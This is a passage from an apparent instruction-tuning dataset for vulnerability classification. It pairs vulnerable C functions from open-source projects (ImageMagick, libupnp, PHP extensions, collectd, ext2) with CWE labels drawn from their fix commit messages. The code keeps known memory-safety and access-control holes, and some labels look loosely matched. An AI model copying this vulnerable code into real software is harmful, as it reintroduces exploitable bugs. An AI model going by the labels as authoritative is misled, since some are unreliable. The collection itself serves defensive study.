((TIFFGetField(tiff,TIFFTAG_TILEWIDTH,&columns) != 1) ||\n (TIFFGetField(tiff,TIFFTAG_TILELENGTH,&rows) != 1))\n {\n TIFFClose(tiff);\n ThrowReaderException(CoderError,\"ImageIsNotTiled\");\n }\n (void) SetImageStorageClass(image,DirectClass,exception);\n number_pixels=(MagickSizeType) columns*rows;\n if (HeapOverflowSanityCheck(rows,sizeof(*tile_pixels)) != MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n tile_pixels=(uint32 *) AcquireQuantumMemory(columns,rows*\n sizeof(*tile_pixels));\n if (tile_pixels == (uint32 *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (y=0; y < (ssize_t) image->rows; y+=rows)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q,\n *magick_restrict tile;\n\n size_t\n columns_remaining,\n rows_remaining;\n\n rows_remaining=image->rows-y;\n if ((ssize_t) (y+rows) < (ssize_t) image->rows)\n rows_remaining=rows;\n tile=QueueAuthenticPixels(image,0,y,image->columns,rows_remaining,\n exception);\n if (tile == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x+=columns)\n {\n size_t\n column,\n row;\n\n if (TIFFReadRGBATile(tiff,(uint32) x,(uint32) y,tile_pixels) == 0)\n break;\n columns_remaining=image->columns-x;\n if ((ssize_t) (x+columns) < (ssize_t) image->columns)\n columns_remaining=columns;\n p=tile_pixels+(rows-rows_remaining)*columns;\n q=tile+GetPixelChannels(image)*(image->columns*(rows_remaining-1)+\n x);\n for (row=rows_remaining; row > 0; row--)\n {\n if (image->alpha_trait != UndefinedPixelTrait)\n for (column=columns_remaining; column > 0; column--)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n TIFFGetA(*p)),q);\n p++;\n q+=GetPixelChannels(image);\n }\n else\n for (column=columns_remaining; column > 0; column--)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n p++;\n q+=GetPixelChannels(image);\n }\n p+=columns-columns_remaining;\n q-=GetPixelChannels(image)*(image->columns+columns_remaining);\n }\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n tile_pixels=(uint32 *) RelinquishMagickMemory(tile_pixels);\n break;\n }\n case ReadGenericMethod:\n default:\n {\n MemoryInfo\n *pixel_info;\n\n register uint32\n *p;\n\n uint32\n *pixels;\n\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n number_pixels=(MagickSizeType) image->columns*image->rows;\n if (HeapOverflowSanityCheck(image->rows,sizeof(*pixels)) != MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixel_info=AcquireVirtualMemory(image->columns,image->rows*\n sizeof(uint32));\n if (pixel_info == (MemoryInfo *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(uint32 *) GetVirtualMemoryBlob(pixel_info);\n (void) TIFFReadRGBAImage(tiff,(uint32) image->columns,(uint32)\n image->rows,(uint32 *) pixels,0);\n /*\n Convert image to DirectClass pixel packets.\n */\n p=pixels+number_pixels-1;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q;\n\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n q+=GetPixelChannels(image)*(image->columns-1);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n TIFFGetA(*p)),q);\n p--;\n q-=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n break;\n }\n }\n SetQuantumImageType(image,quantum_type);\n next_tiff_frame:\n quantum_info=DestroyQuantumInfo(quantum_info);\n if (photometric == PHOTOMETRIC_CIELAB)\n DecodeLabImage(image,exception);\n if ((photometric == PHOTOMETRIC_LOGL) ||\n (photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n {\n image->type=GrayscaleType;\n if (bits_per_sample == 1)\n image->type=BilevelType;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;\n if (status != MagickFalse)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,image->scene-1,\n image->scene);\n if (status == MagickFalse)\n break;\n }\n } while (status != MagickFalse);\n TIFFClose(tiff);\n TIFFReadPhotoshopLayers(image,image_info,exception);\n if (image_info->number_scenes != 0)\n {\n if (image_info->scene >= GetImageListLength(image))\n {\n /* Subimage was not found in the Photoshop layer */\n image=DestroyImageList(image);\n return((Image *)NULL);\n }\n }\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Prevent possible buffer overflow when reading TIFF images (bug report from Shi Pu of MS509 Team)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int http_RecvPostMessage(\n\t/*! HTTP Parser object. */\n\thttp_parser_t *parser,\n\t/*! [in] Socket Information object. */\n\tSOCKINFO *info,\n\t/*! File where received data is copied to. */\n\tchar *filename,\n\t/*! Send Instruction object which gives information whether the file\n\t * is a virtual file or not. */\n\tstruct SendInstruction *Instr)\n{\n\tsize_t Data_Buf_Size = 1024;\n\tchar Buf[1024];\n\tint Timeout = -1;\n\tFILE *Fp;\n\tparse_status_t status = PARSE_OK;\n\tint ok_on_close = FALSE;\n\tsize_t entity_offset = 0;\n\tint num_read = 0;\n\tint ret_code = HTTP_OK;\n\n\tif (Instr && Instr->IsVirtualFile) {\n\t\tFp = (virtualDirCallback.open) (filename, UPNP_WRITE);\n\t\tif (Fp == NULL)\n\t\t\treturn HTTP_INTERNAL_SERVER_ERROR;\n\t} else {\n\t\tFp = fopen(filename, \"wb\");\n\t\tif (Fp == NULL)\n\t\t\treturn HTTP_UNAUTHORIZED;\n\t}\n\tparser->position = POS_ENTITY;\n\tdo {\n\t\t/* first parse what has already been gotten */\n\t\tif (parser->position != POS_COMPLETE)\n\t\t\tstatus = parser_parse_entity(parser);\n\t\tif (status == PARSE_INCOMPLETE_ENTITY) {\n\t\t\t/* read until close */\n\t\t\tok_on_close = TRUE;\n\t\t} else if ((status != PARSE_SUCCESS)\n\t\t\t && (status != PARSE_CONTINUE_1)\n\t\t\t && (status != PARSE_INCOMPLETE)) {\n\t\t\t/* error */\n\t\t\tret_code = HTTP_BAD_REQUEST;\n\t\t\tgoto ExitFunction;\n\t\t}\n\t\t/* read more if necessary entity */\n\t\twhile (entity_offset + Data_Buf_Size > parser->msg.entity.length &&\n\t\t parser->position != POS_COMPLETE) {\n\t\t\tnum_read = sock_read(info, Buf, sizeof(Buf), &Timeout);\n\t\t\tif (num_read > 0) {\n\t\t\t\t/* append data to buffer */\n\t\t\t\tif (membuffer_append(&parser->msg.msg,\n\t\t\t\t\tBuf, (size_t)num_read) != 0) {\n\t\t\t\t\t/* set failure status */\n\t\t\t\t\tparser->http_error_code =\n\t\t\t\t\t HTTP_INTERNAL_SERVER_ERROR;\n\t\t\t\t\tret_code = HTTP_INTERNAL_SERVER_ERROR;\n\t\t\t\t\tgoto ExitFunction;\n\t\t\t\t}\n\t\t\t\tstatus = parser_parse_entity(parser);\n\t\t\t\tif (status == PARSE_INCOMPLETE_ENTITY) {\n\t\t\t\t\t/* read until close */\n\t\t\t\t\tok_on_close = TRUE;\n\t\t\t\t} else if ((status != PARSE_SUCCESS)\n\t\t\t\t\t && (status != PARSE_CONTINUE_1)\n\t\t\t\t\t && (status != PARSE_INCOMPLETE)) {\n\t\t\t\t\tret_code = HTTP_BAD_REQUEST;\n\t\t\t\t\tgoto ExitFunction;\n\t\t\t\t}\n\t\t\t} else if (num_read == 0) {\n\t\t\t\tif (ok_on_close) {\n\t\t\t\t\tUpnpPrintf(UPNP_INFO, HTTP, __FILE__, __LINE__,\n\t\t\t\t\t\t\"<<< (RECVD) <<<\\n%s\\n-----------------\\n\",\n\t\t\t\t\t\tparser->msg.msg.buf);\n\t\t\t\t\tprint_http_headers(&parser->msg);\n\t\t\t\t\tparser->position = POS_COMPLETE;\n\t\t\t\t} else {\n\t\t\t\t\t/* partial msg or response */\n\t\t\t\t\tparser->http_error_code = HTTP_BAD_REQUEST;\n\t\t\t\t\tret_code = HTTP_BAD_REQUEST;\n\t\t\t\t\tgoto ExitFunction;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tret_code = HTTP_SERVICE_UNAVAILABLE;\n\t\t\t\tgoto ExitFunction;\n\t\t\t}\n\t\t}\n\t\tif ((entity_offset + Data_Buf_Size) > parser->msg.entity.length) {\n\t\t\tData_Buf_Size =\n\t\t\t parser->msg.entity.length - entity_offset;\n\t\t}\n\t\tmemcpy(Buf,\n\t\t &parser->msg.msg.buf[parser->entity_start_position + entity_offset],\n\t\t Data_Buf_Size);\n\t\tentity_offset += Data_Buf_Size;\n\t\tif (Instr && Instr->IsVirtualFile) {\n\t\t\tint n = virtualDirCallback.write(Fp, Buf, Data_Buf_Size);\n\t\t\tif (n < 0) {\n\t\t\t\tret_code = HTTP_INTERNAL_SERVER_ERROR;\n\t\t\t\tgoto ExitFunction;\n\t\t\t}\n\t\t} else {\n\t\t\tsize_t n = fwrite(Buf, 1, Data_Buf_Size, Fp);\n\t\t\tif (n != Data_Buf_Size) {\n\t\t\t\tret_code = HTTP_INTERNAL_SERVER_ERROR;\n\t\t\t\tgoto ExitFunction;\n\t\t\t}\n\t\t}\n\t} while (parser->position != POS_COMPLETE ||\n\t\t entity_offset != parser->msg.entity.length);\nExitFunction:\n\tif (Instr && Instr->IsVirtualFile) {\n\t\tvirtualDirCallback.close(Fp);\n\t} else {\n\t\tfclose(Fp);\n\t}\n\n\treturn ret_code;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284'], 'message': 'Don't allow unhandled POSTs to write to the filesystem by default\n\nIf there's no registered handler for a POST request, the default behaviour\nis to write it to the filesystem. Several million deployed devices appear\nto have this behaviour, making it possible to (at least) store arbitrary\ndata on them. Add a configure option that enables this behaviour, and change\nthe default to just drop POSTs that aren't directly handled.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static PHP_FUNCTION(bzread)\n{\n\tzval *bz;\n\tlong len = 1024;\n\tphp_stream *stream;\n\n\tif (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"r|l\", &bz, &len)) {\n\t\tRETURN_FALSE;\n\t}\n\t\n\tphp_stream_from_zval(stream, &bz);\n\n\tif ((len + 1) < 1) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"length may not be negative\");\n\t\tRETURN_FALSE;\n\t}\n\n\tZ_STRVAL_P(return_value) = emalloc(len + 1);\n\tZ_STRLEN_P(return_value) = php_stream_read(stream, Z_STRVAL_P(return_value), len);\n\t\n\tif (Z_STRLEN_P(return_value) < 0) {\n\t\tefree(Z_STRVAL_P(return_value));\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"could not read valid bz2 data from stream\");\n\t\tRETURN_FALSE;\t\t\n\t}\n\t\n\tZ_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0;\n\tZ_TYPE_P(return_value) = IS_STRING;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Partial fix for bug #72613 - do not treat negative returns from bz2 as size_t'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: stringprep_utf8_nfkc_normalize (const char *str, ssize_t len)\n{\n return g_utf8_normalize (str, len, G_NORMALIZE_NFKC);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'stringprep_utf8_nfkc_normalize: Reject invalid UTF8 instead of crashing.\n\nAlso add regression self check. Reported by Hanno B\u00f6ck.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void exif_iif_add_value(image_info_type *image_info, int section_index, char *name, int tag, int format, int length, void* value, int motorola_intel TSRMLS_DC)\n{\n\tsize_t idex;\n\tvoid *vptr;\n\timage_info_value *info_value;\n\timage_info_data *info_data;\n\timage_info_data *list;\n\n\tif (length < 0) {\n\t\treturn;\n\t}\n\n\tlist = safe_erealloc(image_info->info_list[section_index].list, (image_info->info_list[section_index].count+1), sizeof(image_info_data), 0);\n\timage_info->info_list[section_index].list = list;\n\n\tinfo_data = &image_info->info_list[section_index].list[image_info->info_list[section_index].count];\n\tmemset(info_data, 0, sizeof(image_info_data));\n\tinfo_data->tag = tag;\n\tinfo_data->format = format;\n\tinfo_data->length = length;\n\tinfo_data->name = estrdup(name);\n\tinfo_value = &info_data->value;\n\n\tswitch (format) {\n\t\tcase TAG_FMT_STRING:\n\t\t\tif (value) {\n\t\t\t\tlength = php_strnlen(value, length);\n\t\t\t\tinfo_value->s = estrndup(value, length);\n\t\t\t\tinfo_data->length = length;\n\t\t\t} else {\n\t\t\t\tinfo_data->length = 0;\n\t\t\t\tinfo_value->s = estrdup(\"\");\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t/* Standard says more types possible but skip them...\n\t\t\t * but allow users to handle data if they know how to\n\t\t\t * So not return but use type UNDEFINED\n\t\t\t * return;\n\t\t\t */\n\t\t\tinfo_data->tag = TAG_FMT_UNDEFINED;/* otherwise not freed from memory */\n\t\tcase TAG_FMT_SBYTE:\n\t\tcase TAG_FMT_BYTE:\n\t\t/* in contrast to strings bytes do not need to allocate buffer for NULL if length==0 */\n\t\t\tif (!length)\n\t\t\t\tbreak;\n\t\tcase TAG_FMT_UNDEFINED:\n\t\t\tif (tag == TAG_MAKER_NOTE) {\n\t\t\t\tlength = MIN(length, strlen(value));\n\t\t\t}\n\n\t\t\tif (value) {\n\t\t\t\t/* do not recompute length here */\n\t\t\t\tinfo_value->s = estrndup(value, length);\n\t\t\t\tinfo_data->length = length;\n\t\t\t} else {\n\t\t\t\tinfo_data->length = 0;\n\t\t\t\tinfo_value->s = estrdup(\"\");\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase TAG_FMT_USHORT:\n\t\tcase TAG_FMT_ULONG:\n\t\tcase TAG_FMT_URATIONAL:\n\t\tcase TAG_FMT_SSHORT:\n\t\tcase TAG_FMT_SLONG:\n\t\tcase TAG_FMT_SRATIONAL:\n\t\tcase TAG_FMT_SINGLE:\n\t\tcase TAG_FMT_DOUBLE:\n\t\t\tif (length==0) {\n\t\t\t\tbreak;\n\t\t\t} else\n\t\t\tif (length>1) {\n\t\t\t\tinfo_value->list = safe_emalloc(length, sizeof(image_info_value), 0);\n\t\t\t} else {\n\t\t\t\tinfo_value = &info_data->value;\n\t\t\t}\n\t\t\tfor (idex=0,vptr=value; idex<(size_t)length; idex++,vptr=(char *) vptr + php_tiff_bytes_per_format[format]) {\n\t\t\t\tif (length>1) {\n\t\t\t\t\tinfo_value = &info_data->value.list[idex];\n\t\t\t\t}\n\t\t\t\tswitch (format) {\n\t\t\t\t\tcase TAG_FMT_USHORT:\n\t\t\t\t\t\tinfo_value->u = php_ifd_get16u(vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_ULONG:\n\t\t\t\t\t\tinfo_value->u = php_ifd_get32u(vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_URATIONAL:\n\t\t\t\t\t\tinfo_value->ur.num = php_ifd_get32u(vptr, motorola_intel);\n\t\t\t\t\t\tinfo_value->ur.den = php_ifd_get32u(4+(char *)vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_SSHORT:\n\t\t\t\t\t\tinfo_value->i = php_ifd_get16s(vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_SLONG:\n\t\t\t\t\t\tinfo_value->i = php_ifd_get32s(vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_SRATIONAL:\n\t\t\t\t\t\tinfo_value->sr.num = php_ifd_get32u(vptr, motorola_intel);\n\t\t\t\t\t\tinfo_value->sr.den = php_ifd_get32u(4+(char *)vptr, motorola_intel);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase TAG_FMT_SINGLE:\n#ifdef EXIF_DEBUG\n\t\t\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Found value of type single\");\n#endif\n\t\t\t\t\t\tinfo_value->f = *(float *)value;\n\n\t\t\t\t\tcase TAG_FMT_DOUBLE:\n#ifdef EXIF_DEBUG\n\t\t\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Found value of type double\");\n#endif\n\t\t\t\t\t\tinfo_value->d = *(double *)value;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t}\n\timage_info->sections_found |= 1<info_list[section_index].count++;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'improve the check, avoid strlen on NULL'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_MINIT_FUNCTION(snmp)\n{\n\tnetsnmp_log_handler *logh;\n\tzend_class_entry ce, cex;\n\n\tle_snmp_session = zend_register_list_destructors_ex(php_snmp_session_destructor, NULL, PHP_SNMP_SESSION_RES_NAME, module_number);\n\n\tinit_snmp(\"snmpapp\");\n\n#ifdef NETSNMP_DS_LIB_DONT_PERSIST_STATE\n\t/* Prevent update of the snmpapp.conf file */\n\tnetsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_DONT_PERSIST_STATE, 1);\n#endif\n\n\t/* Disable logging, use exit status'es and related variabled to detect errors */\n\tshutdown_snmp_logging();\n\tlogh = netsnmp_register_loghandler(NETSNMP_LOGHANDLER_NONE, LOG_ERR);\n\tif (logh) {\n\t\tlogh->pri_max = LOG_ERR;\n\t}\n\n\tmemcpy(&php_snmp_object_handlers, zend_get_std_object_handlers(), sizeof(zend_object_handlers));\n\tphp_snmp_object_handlers.read_property = php_snmp_read_property;\n\tphp_snmp_object_handlers.write_property = php_snmp_write_property;\n\tphp_snmp_object_handlers.has_property = php_snmp_has_property;\n\tphp_snmp_object_handlers.get_properties = php_snmp_get_properties;\n\n\t/* Register SNMP Class */\n\tINIT_CLASS_ENTRY(ce, \"SNMP\", php_snmp_class_methods);\n\tce.create_object = php_snmp_object_new;\n\tphp_snmp_object_handlers.clone_obj = NULL;\n\tphp_snmp_ce = zend_register_internal_class(&ce TSRMLS_CC);\n\n\t/* Register SNMP Class properties */\n\tzend_hash_init(&php_snmp_properties, 0, NULL, NULL, 1);\n\tPHP_SNMP_ADD_PROPERTIES(&php_snmp_properties, php_snmp_property_entries);\n\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_SUFFIX\",\tNETSNMP_OID_OUTPUT_SUFFIX,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_MODULE\",\tNETSNMP_OID_OUTPUT_MODULE,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_FULL\",\t\tNETSNMP_OID_OUTPUT_FULL,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_NUMERIC\",\tNETSNMP_OID_OUTPUT_NUMERIC,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_UCD\",\t\tNETSNMP_OID_OUTPUT_UCD,\t\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OID_OUTPUT_NONE\",\t\tNETSNMP_OID_OUTPUT_NONE,\tCONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"SNMP_VALUE_LIBRARY\",\tSNMP_VALUE_LIBRARY,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_VALUE_PLAIN\",\tSNMP_VALUE_PLAIN,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_VALUE_OBJECT\",\tSNMP_VALUE_OBJECT,\tCONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"SNMP_BIT_STR\",\t\tASN_BIT_STR,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OCTET_STR\",\tASN_OCTET_STR,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OPAQUE\",\t\tASN_OPAQUE,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_NULL\",\t\tASN_NULL,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_OBJECT_ID\",\tASN_OBJECT_ID,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_IPADDRESS\",\tASN_IPADDRESS,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_COUNTER\",\t\tASN_GAUGE,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_UNSIGNED\",\t\tASN_UNSIGNED,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_TIMETICKS\",\tASN_TIMETICKS,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_UINTEGER\",\t\tASN_UINTEGER,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_INTEGER\",\t\tASN_INTEGER,\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"SNMP_COUNTER64\",\tASN_COUNTER64,\tCONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"VERSION_1\",\t\t\tSNMP_VERSION_1);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"VERSION_2c\",\t\t\tSNMP_VERSION_2c);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"VERSION_2C\",\t\t\tSNMP_VERSION_2c);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"VERSION_3\",\t\t\tSNMP_VERSION_3);\n\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_NOERROR\",\t\t\tPHP_SNMP_ERRNO_NOERROR);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_ANY\",\t\t\tPHP_SNMP_ERRNO_ANY);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_GENERIC\",\t\t\tPHP_SNMP_ERRNO_GENERIC);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_TIMEOUT\",\t\t\tPHP_SNMP_ERRNO_TIMEOUT);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_ERROR_IN_REPLY\",\t\tPHP_SNMP_ERRNO_ERROR_IN_REPLY);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_OID_NOT_INCREASING\",\tPHP_SNMP_ERRNO_OID_NOT_INCREASING);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_OID_PARSING_ERROR\",\tPHP_SNMP_ERRNO_OID_PARSING_ERROR);\n\tREGISTER_SNMP_CLASS_CONST_LONG(\"ERRNO_MULTIPLE_SET_QUERIES\",\tPHP_SNMP_ERRNO_MULTIPLE_SET_QUERIES);\n\n\t/* Register SNMPException class */\n\tINIT_CLASS_ENTRY(cex, \"SNMPException\", NULL);\n#ifdef HAVE_SPL\n\tphp_snmp_exception_ce = zend_register_internal_class_ex(&cex, spl_ce_RuntimeException, NULL TSRMLS_CC);\n#else\n\tphp_snmp_exception_ce = zend_register_internal_class_ex(&cex, zend_exception_get_default(TSRMLS_C), NULL TSRMLS_CC);\n#endif\n\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed bug #72479 - same as #72434'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_MSHUTDOWN_FUNCTION(snmp)\n{\n\tsnmp_shutdown(\"snmpapp\");\n\t\n\tzend_hash_destroy(&php_snmp_properties);\n\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed bug #72479 - same as #72434'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void network_init_gcrypt (void) /* {{{ */\n{\n /* http://lists.gnupg.org/pipermail/gcrypt-devel/2003-August/000458.html\n * Because you can't know in a library whether another library has\n * already initialized the library */\n if (gcry_control (GCRYCTL_ANY_INITIALIZATION_P))\n return;\n\n /* http://www.gnupg.org/documentation/manuals/gcrypt/Multi_002dThreading.html\n * To ensure thread-safety, it's important to set GCRYCTL_SET_THREAD_CBS\n * *before* initalizing Libgcrypt with gcry_check_version(), which itself must\n * be called before any other gcry_* function. GCRYCTL_ANY_INITIALIZATION_P\n * above doesn't count, as it doesn't implicitly initalize Libgcrypt.\n *\n * tl;dr: keep all these gry_* statements in this exact order please. */\n# if GCRYPT_VERSION_NUMBER < 0x010600\n gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);\n# endif\n gcry_check_version (NULL);\n gcry_control (GCRYCTL_INIT_SECMEM, 32768);\n gcry_control (GCRYCTL_INITIALIZATION_FINISHED);\n} /* }}} void network_init_gcrypt */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'network plugin, libcollectdclient: Check return value of gcry_control().\n\nFixes: #1665'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ext2_xattr_get(struct inode *inode, int name_index, const char *name,\n\t void *buffer, size_t buffer_size)\n{\n\tstruct buffer_head *bh = NULL;\n\tstruct ext2_xattr_entry *entry;\n\tsize_t name_len, size;\n\tchar *end;\n\tint error;\n\n\tea_idebug(inode, \"name=%d.%s, buffer=%p, buffer_size=%ld\",\n\t\t name_index, name, buffer, (long)buffer_size);\n\n\tif (name == NULL)\n\t\treturn -EINVAL;\n\tname_len = strlen(name);\n\tif (name_len > 255)\n\t\treturn -ERANGE;\n\n\tdown_read(&EXT2_I(inode)->xattr_sem);\n\terror = -ENODATA;\n\tif (!EXT2_I(inode)->i_file_acl)\n\t\tgoto 